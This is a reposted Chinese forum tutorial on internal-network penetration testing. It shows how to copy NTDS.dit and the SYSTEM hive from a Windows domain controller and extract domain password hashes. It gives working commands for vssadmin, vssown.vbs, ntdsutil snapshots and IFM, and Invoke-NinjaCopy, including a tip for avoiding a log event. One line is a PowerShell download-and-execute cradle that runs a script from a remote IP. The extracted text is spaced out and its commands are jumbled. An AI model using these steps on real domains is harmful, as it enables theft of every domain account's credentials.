搜索

[21328] 2020-10-22_内网渗透测试研究：从NTDS.dit获取域散列值

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2020-10-22_内网渗透测试研究：从NTDS.dit获取域散列值 内 网 渗 透 测 试 研 究 ： 从 N T D S . d i t 获 取 域 散 列 值 M r A n o n y m o u s   L e m o n S e c   2 0 2 0 - 1 0 - 2 2 作 者 ： 作 者 ： M r A n o n y m o u s ， 转 载 于 ， 转 载 于 f r e e b u f 本 文 我 们 将 演 示 如 何 获 取 域 控 制 器 上 的 N t d s . d i t 文 件 并 提 取 其 中 的 域 账 户 和 密 码 哈 希 。 仅 限 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 途 径 。 N t d s . d i t 在 域 环 境 中 ， 活 动 目 录 是 域 中 提 供 目 录 服 务 的 组 件 ， 其 可 以 帮 助 用 户 快 速 准 确 地 从 目 录 中 找 到 其 所 需 要 的 信 息 。 在 规 模 较 大 的 网 络 中 ， 要 把 网 络 中 的 众 多 对 象 ， 例 如 计 算 机 、 用 户 、 用 户 组 、 打 印 机 、 共 享 文 件 等 分 门 别 类 、 井 然 有 序 的 存 放 在 一 个 大 仓 库 中 ， 并 做 好 信 息 索 引 ， 一 遍 查 找 、 管 理 和 使 用 这 些 资 源 对 象 。 拥 有 这 个 层 次 结 构 的 数 据 库 就 是 活 动 目 录 数 据 库 。 N t d s . d i t 文 件 是 域 环 境 中 域 控 上 会 有 的 一 个 二 进 制 文 件 ， 是 主 要 的 活 动 目 录 数 据 库 ， 其 文 件 路 径 为 域 控 的 % S y s t e m R o o t % n t d s n t d s . d i t ， 活 动 目 录 始 终 会 访 问 这 个 文 件 ， 所 以 文 件 禁 止 被 读 取 。 N t d s . d i t 包 括 但 不 限 于 有 关 域 用 户 、 组 和 组 成 员 身 份 和 凭 据 信 息 、 G P P 等 信 息 。 它 包 括 域 中 所 有 用 户 的 密 码 哈 希 值 ， 为 了 进 一 步 保 护 密 码 哈 希 值 ， 使 用 存 储 在 S Y S T E M 注 册 表 配 置 单 元 中 的 密 钥 对 这 些 哈 希 值 进 行 加 密 。 而 在 非 域 环 境 也 就 是 在 工 作 组 环 境 中 ， 用 户 的 密 码 等 信 息 存 储 在 S A M 文 件 ， 想 要 破 解 S A M 文 件 与 N t d s . d i t 文 件 都 需 要 拥 有 一 个 S y s t e m 文 件 。 和 S A M 文 件 一 样 ， N t d s . d i t 是 默 认 被 W i n d o w s 系 统 锁 定 的 。 利 用 利 用 V S S 技 术 获 取 技 术 获 取 N T D S . d i t 文 件 文 件 在 一 般 情 况 下 ， N t d s . d i t 是 默 认 被 W i n d o w s 系 统 锁 定 的 ， 想 要 读 取 该 文 件 就 要 利 用 卷 影 拷 贝 服 务 ( V o l u m e   S h a d o w   C o p y S e r v i c e ， V S S ) ， 得 到 N t d s . d i t 文 件 的 副 本 。 卷 影 拷 贝 服 务 ( V S S ) 本 质 上 是 属 于 快 照 技 术 的 一 种 ， 主 要 用 于 备 份 和 恢 复 ， 即 使 目 标 文 件 被 处 于 锁 定 状 态 。 其 获 取 N t d s . d i t 的 基 本 步 骤 如 下 ： 1 .   创 建 目 标 主 机 的 卷 影 拷 贝 （ 包 含 W i n d o w s 上 的 全 部 文 件 ）
2 .   然 后 在 创 建 的 卷 影 拷 贝 中 将 n t d s . d i t 复 制 出 来 3 .   最 后 将 当 菜 创 建 的 卷 影 拷 贝 删 除 利 用 利 用 v s s a d m i n 工 具 工 具 v s s a d m i n 是 W i n d o w s 上 的 一 个 卷 影 拷 贝 服 务 的 命 令 行 管 理 工 具 ， 可 用 于 创 建 和 删 除 卷 影 拷 贝 、 列 出 卷 影 拷 贝 的 信 息 ， 显 示 已 安 装 的 所 有 卷 影 拷 贝 写 入 程 序 和 提 供 程 序 ， 以 及 改 变 卷 影 拷 贝 的 存 储 空 间 的 大 小 等 。 其 适 用 于 ： W i n d o w s   1 0 ， W i n d o w s   8 . 1 ， W i n d o w s   S e r v e r   2 0 1 6 ， W i n d o w s   S e r v e r   2 0 1 2   R 2 ， W i n d o w s   S e r v e r 2 0 1 2 ， W i n d o w s   S e r v e r   2 0 0 8   R 2 ， W i n d o w s   S e r v e r   2 0 0 8 详 情 参 考 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / w i n d o w s - s e r v e r / a d m i n i s t r a t i o n / w i n d o w s - c o m m a n d s / v s s a d m i n 利 用 v s s a d m i n 命 令 从 域 控 中 提 取 n t d s . d i t 文 件 的 流 程 如 下 ， 需 要 域 管 理 员 权 限 操 作 ： 1 .   在 已 经 获 取 到 权 限 的 域 控 制 器 上 执 行 如 下 命 令 ， 创 建 一 个 C 盘 的 卷 影 拷 贝 ： 2 .   然 后 在 创 建 的 卷 影 拷 贝 中 将 n t d s . d i t 复 制 到 C 盘 中 ： v s s a d m i n   c r e a t e   s h a d o w   / f o r = C : c o p y   ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 1 w i n d o w s n t d s n t d s . d i t   C : n t d s . d i t
此 时 ， 便 成 功 将 N t d s . d i t 副 本 复 制 了 出 来 。 3 .   最 后 将 刚 刚 创 建 的 卷 影 拷 贝 删 除 ： 利 用 利 用 v s s o w n . v b s 脚 本 脚 本 下 载 地 址 ： h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / b o r i g u e / p t s c r i p t s / m a s t e r / w i n d o w s / v s s o w n . v b s h t t p s : / / g i t h u b . c o m / b o r i g u e / p t s c r i p t s / t r e e / m a s t e r / w i n d o w s 该 脚 本 本 质 上 是 通 过 w m i 对 S h a d o w C o p y 进 行 操 作 ， 其 功 能 与 v s s a d m i n 类 似 ， 可 用 于 创 建 和 删 除 卷 影 拷 贝 ， 以 及 启 动 和 停 止 卷 影 拷 贝 服 务 。 利 用 v s s o w n . v b s 脚 本 从 域 控 中 提 取 n t d s . d i t 文 件 的 流 程 如 下 ， 需 要 域 管 理 员 权 限 操 作 ： 1 .   首 先 ， 在 域 控 制 器 上 执 行 如 下 命 令 启 动 卷 影 拷 贝 服 务 ： c s c r i p t 命 令 专 用 于 执 行 要 在 命 令 行 环 境 中 运 行 的 脚 本 。 2 .   然 后 执 行 如 下 命 令 创 建 一 个 C 盘 的 卷 影 拷 贝 ： v s s a d m i n   d e l e t e   s h a d o w s   / f o r = c :   / q u i e t c s c r i p t   v s s o w n . v b s   / s t a r t
执 行 如 下 命 令 列 出 当 前 已 经 创 建 的 卷 影 拷 贝 ： 如 上 图 ， 我 们 可 以 看 到 一 个 I D 为 { D 0 E 1 B 1 B 0 - 9 6 B 3 - 4 A 5 E - 9 8 8 A - 4 D A 2 7 3 8 A 0 7 8 D } 的 卷 影 拷 贝 ， 存 储 位 置 为 ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 2 。 3 .   接 着 在 创 建 的 卷 影 拷 贝 中 将 n t d s . d i t 复 制 到 C 盘 中 ： 4 .   得 到 N t d s . d i t 的 副 本 之 后 ， 将 刚 刚 创 建 的 卷 影 拷 贝 删 除 就 可 以 了 ： c s c r i p t   v s s o w n . v b s   / c r e a t e   c c s c r i p t   v s s o w n . v b s   / l i s t c o p y   ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 2 w i n d o w s N T D S n t d s . d i t   C : n t d s . d i t c s c r i p t   v s s o w n . v b s   / d e l e t e   < I D > c s c r i p t   v s s o w n . v b s   / d e l e t e   { D 0 E 1 B 1 B 0 - 9 6 B 3 - 4 A 5 E - 9 8 8 A - 4 D A 2 7 3 8 A 0 7 8 D }
利 用 利 用 N t d s u t i l . e x e 工 具 工 具 N t d s u t i l . e x e   是 一 个 为   A c t i v e   D i r e c t o r y   提 供 管 理 设 施 的 命 令 行 工 具 ， 该 工 具 被 默 认 安 装 在 了 域 控 制 器 上 ， 可 以 在 域 控 上 直 接 操 作 ， 也 可 以 通 过 域 内 机 器 在 域 控 上 远 程 操 作 ， 但 是 需 要 管 理 员 权 限 。 您 可 使 用   N t d s u t i l . e x e   执 行   A c t i v e   D i r e c t o r y   的 数 据 库 维 护 ， 管 理 和 控 制 单 个 主 机 操 作 ， 创 建 应 用 程 序 目 录 分 区 ， 以 及 删 除 由 未 使 用   A c t i v e   D i r e c t o r y   安 装 向 导   ( D C P r o m o . e x e )   成 功 降 级 的 域 控 制 器 留 下 的 元 数 据 。 详 情 参 考 ： h t t p s : / / b a i k e . b a i d u . c o m / i t e m / N t d s u t i l . e x e / 7 4 0 4 3 0 ? f r = a l a d d i n 利 用 N t d s u t i l . e x e 工 具 从 域 控 中 提 取 n t d s . d i t 文 件 的 流 程 如 下 ， 需 要 域 管 理 员 权 限 操 作 ： 1 .   首 先 ， 在 域 控 制 器 上 执 行 如 下 命 令 创 建 一 个 快 照 ： 该 快 照 包 含 W i n d o w s 中 的 所 有 文 件 ， 且 在 复 制 时 不 会 受 到 W i n d o w s 锁 定 机 制 的 影 响 如 上 图 ， 可 以 看 到 成 功 创 建 了 一 个 I D 为 { f 3 c e 5 a 6 4 - 1 1 d 7 - 4 b c f - 9 8 5 8 - 8 1 4 4 2 e 4 0 d 6 c b } 的 快 照 。 然 后 执 行 如 下 命 令 ， 加 载 刚 刚 创 建 的 快 照 ： 此 时 ， 便 成 功 将 刚 才 创 建 的 快 照 加 载 到 了 系 统 中 的 C : $ S N A P _ 2 0 2 0 0 9 2 9 1 0 0 2 _ V O L U M E C $ 目 录 下 ： n t d s u t i l   s n a p s h o t   " a c t i v a t e   i n s t a n c e   n t d s "   c r e a t e   q u i t   q u i t n t d s u t i l   s n a p s h o t   " m o u n t   < I D > "   q u i t   q u i t n t d s u t i l   s n a p s h o t   " m o u n t   { f 3 c e 5 a 6 4 - 1 1 d 7 - 4 b c f - 9 8 5 8 - 8 1 4 4 2 e 4 0 d 6 c b } "   q u i t   q u i t
3 .   接 着 执 行 如 下 命 令 ， 将 快 照 中 的 N t d s . d i t 文 件 复 制 到   C : n t d s . d i t ： 得 到 n t d s . d i t 文 件 的 副 本 后 ， 我 们 就 可 以 将 刚 才 创 建 并 加 载 的 快 照 删 除 了 。 4 .   最 后 ， 执 行 如 下 命 令 将 之 前 创 建 并 加 载 的 快 照 卸 载 并 删 除 ： 创 建 创 建 I F M 提 取 提 取 N t d s . d i t 文 件 文 件 除 了 利 用 上 面 那 种 操 作 来 获 取 N t d s . d i t 外 ， 还 可 以 利 用 N t d s u t i l . e x e 创 建 媒 体 安 装 集 ( I F M ) 来 用 于 提 取 N T D S . d i t 文 件 。 在 使 用 在 使 用 n t d s u t i l 创 建 创 建 媒 体 安 装 集 创 建 创 建 媒 体 安 装 集 ( I F M ) 时 ， 会 自 动 进 行 生 成 快 照 、 加 载 、 将 时 ， 会 自 动 进 行 生 成 快 照 、 加 载 、 将 n t d s . d i t 、 计 算 机 的 、 计 算 机 的 S A M 和 和 S Y S T E M 文 件 复 制 到 目 标 文 件 夹 中 等 操 作 ， 我 们 可 以 利 用 该 过 程 获 取 文 件 复 制 到 目 标 文 件 夹 中 等 操 作 ， 我 们 可 以 利 用 该 过 程 获 取 N T D S . d i t 文 件 ， 需 要 管 理 员 权 限 。 文 件 ， 需 要 管 理 员 权 限 。 N t d s u t i l 是 本 地 处 理   A c t i v e   D i r e c t o r y   的 命 令 实 用 程 序 ， 并 为 D C P r o m o 启 用 I F M 集 创 建 。 I F M 与 D C P r o m o 一 c o p y   C : $ S N A P _ 2 0 2 0 0 9 2 9 1 0 0 2 _ V O L U M E C $ w i n d o w s n t d s n t d s . d i t   c : n t d s . d i t n t d s u t i l   s n a p s h o t   " m o u n t   < I D > "   " d e l e t e   < I D > "   q u i t   q u i t n t d s u t i l   s n a p s h o t   " m o u n t   { f 3 c e 5 a 6 4 - 1 1 d 7 - 4 b c f - 9 8 5 8 - 8 1 4 4 2 e 4 0 d 6 c b } "   " d e l e t e   { f 3 c e 5 a 6 4 - 1 1 d 7 - 4 b c f - 9 8 5 8 - 8 1 4 4 2 e 4 0 d 6 c b } "   q u i t   q u i t
起 用 于 “ 从 媒 体 安 装 ” ， 因 此 被 升 级 的 服 务 器 不 需 要 通 过 网 络 从 另 一 个 D C 复 制 域 数 据 。 当 创 建 一 个 当 创 建 一 个 I F M 时 ， 时 ， V S S 快 照 会 被 自 动 拍 摄 ， 挂 载 ， 快 照 会 被 自 动 拍 摄 ， 挂 载 ， N T D S . D I T 文 件 和 相 关 数 据 被 复 制 到 目 标 文 件 夹 文 件 和 相 关 数 据 被 复 制 到 目 标 文 件 夹 中 。 中 。 在 域 控 制 器 中 执 行 如 下 命 令 即 可 ： 执 行 该 命 令 后 ， 会 自 动 将 n t d s . d i t 文 件 复 制 到 C : t e s t A c t i v e   D i r e c t o r y n t d s . d i t ， 同 时 会 将 S Y S T E M 和 S E C U R I T Y 复 制 到 C : t e s t r e g i s t r y 目 录 下 ： 然 后 执 行 如 下 命 令 将 n t d s . d i t 复 制 到 C : n t d s . d i t 最 后 ， 将 我 们 需 要 的 文 件 拖 到 本 地 后 ， 将 t e s t 文 件 夹 删 除 即 可 。 n t d s u t i l   " a c   i   n t d s "   " i f m "   " c r e a t e   f u l l   c : / t e s t "   q   q c o p y   " C : t e s t A c t i v e   D i r e c t o r y n t d s . d i t "   C : n t d s . d i t
P o w e r S h e l l 下 的 实 现 下 的 实 现 N i s h a n g 中 的 C o p y - V S S . p s 1 脚 本 可 以 用 于 自 动 提 取 — — N T D S . D I T ， S A M 和 S Y S T E M 这 些 必 要 文 件 。 这 些 文 件 将 被 解 压 到 当 前 工 作 目 录 或 其 他 任 意 的 指 定 文 件 夹 中 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / s a m r a t a s h o k / n i s h a n g / b l o b / m a s t e r / G a t h e r / C o p y - V S S . p s 1 该 脚 本 使 用 如 下 ： 如 上 图 ， 成 功 执 行 后 ， 会 将 S A M 、 S Y S T E M 、 N t d s . d i t 文 件 复 制 到 与 该 脚 本 相 同 的 目 录 中 。 也 可 以 将 S A M 、 S Y S T E M 、 N t d s . d i t 文 件 复 制 到 指 定 的 目 录 中 ： 除 了 除 了 C o p y - V S S . p s 1 脚 本 ， 我 们 还 可 以 利 用 脚 本 ， 我 们 还 可 以 利 用 P o w e r S p l o i t 中 的 中 的 I n v o k e - N i n j a C o p y 脚 本 脚 本 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / b l o b / m a s t e r / E x f i l t r a t i o n / I n v o k e - N i n j a C o p y . p s 1 该 脚 本 用 于 “ 万 能 复 制 ” ， 像 w i n d o w s 主 机 里 S A M 文 件 、 域 控 中 的 N t d s . d i t ， 里 面 数 据 很 多 有 价 值 的 信 息 ， 普 通 的 C O P Y 命 令 是 无 法 复 制 的 ， 使 用 万 能 复 制 可 以 复 制 这 类 文 件 。 该 脚 本 使 用 如 下 ： 用 该 脚 本 复 制 N t d s . d i t 和 S Y S T E M 文 件 ： I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 3 9 . x x x . x x x . 2 1 0 / N i s h a n g / G a t h e r / C o p y - V S S . p s 1 ' ) ; C o p y - V S S C o p y - V S S   - D e s t i n a t i o n D i r   C : I n v o k e - N i n j a C o p y   - P a t h   < 需 要 复 制 的 文 件 >   - L o c a l D e s t i n a t i o n   < 复 制 文 件 保 存 位 置 > I m p o r t - M o d u l e   . I n v o k e - N i n j a C o p y . p s 1 I n v o k e - N i n j a C o p y   - P a t h   " C : w i n d o w s n t d s n t d s . d i t "   - L o c a l D e s t i n a t i o n   " C : n t d s . d i t " I n v o k e - N i n j a C o p y   - P a t h   " C : W i n d o w s S y s t e m 3 2 c o n f i g S Y S T E M "   - L o c a l D e s t i n a t i o n   " C : s y s t e m . h i v e "
如 上 图 ， 复 制 成 功 。 这 种 方 法 没 有 调 用 这 种 方 法 没 有 调 用 V o l u m e   S h a d o w   C o p y 服 务 ， 所 以 不 会 产 生 日 志 文 件 服 务 ， 所 以 不 会 产 生 日 志 文 件 7 0 3 6 ( 卷 影 拷 贝 服 务 进 入 运 行 状 态 的 标 卷 影 拷 贝 服 务 进 入 运 行 状 态 的 标 志 志 ) 。 。 导 出 导 出 S Y S T E M 文 件 文 件 导 出 n t d s . d i t 后 ， 还 需 要 导 出 S Y S T E M ， 将 s y s t e m . h i v e 转 储 ， 因 为 s y s t e m . h i v e 中 存 放 着 n t d s . d i t 的 密 钥 。 我 们 可 以 用 上 面 讲 的 C o p y - V S S . p s 1 等 方 法 导 出 S Y S T E M 文 件 ， 也 可 以 执 行 如 下 命 令 ， 将 导 出 s y s t e m 利 用 工 具 导 出 利 用 工 具 导 出 N t d s . d i t 文 件 中 的 散 列 值 文 件 中 的 散 列 值 到 现 在 为 止 ， 我 们 已 经 学 会 了 利 用 各 种 方 法 将 N t d s . d i t 文 件 提 取 出 ， 当 我 们 获 得 了 域 控 上 的 N t d s . d i t 文 件 后 ， 接 下 来 要 做 的 就 是 想 办 法 从 N t d s . d i t 文 件 中 导 出 其 中 的 密 码 哈 希 散 列 值 。 利 用 利 用 E s e d b e x p o r t 和 和 N t d s x t r a c t 工 具 工 具 （ （ 1 ） 恢 复 ） 恢 复 n t d s . d i t 并 导 出 用 户 表 信 息 并 导 出 用 户 表 信 息 r e g   s a v e   h k l m s y s t e m   c : s y s t e m . h i v e
首 先 我 们 需 要 从 N T D S . d i t 文 件 中 提 取 用 户 表 格 ， 这 里 我 们 要 通 过 l i b e s e d b - t o o l s 中 的 e s e d b e x p o r t 来 帮 我 们 完 成 。 L i b e s e d b 是 一 个 用 于 访 问 可 扩 展 存 储 引 擎 （ E S E ） 数 据 库 文 件 （ E D B ） 格 式 的 库 。 当 前 ， E S E 数 据 库 格 式 被 应 用 于 许 多 不 同 的 应 用 程 序 上 ， 如 W i n d o w s   S e a r c h ， W i n d o w s   M a i l ， E x c h a n g e ， A c t i v e   D i r e c t o r y （ N T D S . d i t ） 等 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / l i b y a l / l i b e s e d b / r e l e a s e s 首 先 在 k a l i 上 面 安 装 e s e d b e x p o r t ： 安 装 完 成 后 ， 进 入 存 放 n t d s . d i t 的 目 录 ， 执 行 以 下 命 令 恢 复 n t d s . d i t 并 提 取 表 信 息 ： 如 上 图 提 取 表 成 功 ， 并 且 会 在 当 前 目 录 下 生 成 一 个 “ n t d s . d i t . e x p o r t ” 文 件 夹 ： 上 图 中 ， 我 们 可 以 看 到 有 很 多 表 ， 我 们 在 之 后 需 要 用 到 的 表 也 就 是   d a t a t a b l e . 3   和   l i n k _ t a b l e . 5 这 两 个 表 。 （ （ 2 ） 导 出 其 中 的 域 散 列 值 ） 导 出 其 中 的 域 散 列 值 n t d s . d i t 中 的 表 一 旦 被 提 取 出 来 ， 有 很 多 p y t h o n 工 具 可 以 将 这 些 表 中 的 信 息 进 一 步 提 取 从 而 导 出 其 中 的 域 散 列 值 ， 比 如 n t d s x t r a c t 就 可 以 完 美 进 行 。 该 工 具 不 仅 能 够 提 取 与 用 户 对 象 、 组 对 象 、 计 算 机 对 象 相 关 的 信 息 ， 同 时 还 能 从 N T D S . d i t 文 件 中 删 除 对 象 。 安 装 命 令 ： a p t - g e t   i n s t a l l   a u t o c o n f   a u t o m a k e   a u t o p o i n t   l i b t o o l   p k g - c o n f i g           / /   安 装 依 赖 w g e t   h t t p s : / / g i t h u b . c o m / l i b y a l / l i b e s e d b / r e l e a s e s / d o w n l o a d / 2 0 2 0 0 4 1 8 / l i b e s e d b - e x p e r i m e n t a l - 2 0 2 0 0 4 1 8 . t a r . g z c d   l i b e s e d b - e x p e r i m e n t a l - 2 0 1 9 1 2 2 0 . / c o n f i g u r e m a k e   & &   m a k e   i n s t a l l   & &   l d c o n f i g e s e d b e x p o r t   - m   t a b l e s   n t d s . d i t                 / /   提 取 表 信 息
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理